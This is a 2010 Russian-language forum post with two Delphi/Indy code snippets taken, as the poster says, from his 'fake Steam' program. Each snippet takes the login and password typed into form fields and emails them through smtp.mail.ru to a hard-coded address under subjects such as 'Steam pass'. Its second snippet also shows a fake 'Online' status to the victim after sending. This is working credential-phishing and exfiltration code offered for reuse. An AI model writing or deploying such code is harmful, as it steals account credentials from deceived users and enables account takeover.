06.06.2010, 19:19
|
|
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами:
9637731
Репутация:
106
|
|
begin
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='abcd@ yandex.ru';
IdSMTP1.Password:='abcd@yandex.ru';
IdMessage1.Body.Text:=edit1.Text+':'+edit2.Text;
IdMessage1.From.Text:='qwerty@mail.ru';
IdMessage1.Recipients.EMailAddresses:='qwerty@mail .ru';
IdMessage1.Subject:='accs';
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
Код:
begin
idSMTP1.Host:='smtp.mail.ru';
idSMTP1.Username:='login';
idSMTP1.Password:='pass';
idMessage1.Body.text:='Login - '+Edit1.Text+' Pass -'+Edit2.Text;
idMessage1.From.Text:='login@mail.ru';
idmessage1.Recipients.EMailAddresses:='kyda@mail.ru';
idMessage1.Subject:='Steam pass';
if (Edit1.text='') or (edit2.Text='') then
MessageBox(0, 'вы не ввели Логин или Пароль', 'Error', MB_ICONWARNING)
else
idSmtp1.Connect;
idSmtp1.Send(idMessage1);
label1.Font.Color:=clGreen;
label1.Caption:='Online';
end;
вот кусок из моего фейка стима
Последний раз редактировалось Vlad3d; 06.06.2010 в 19:22..
|
|
|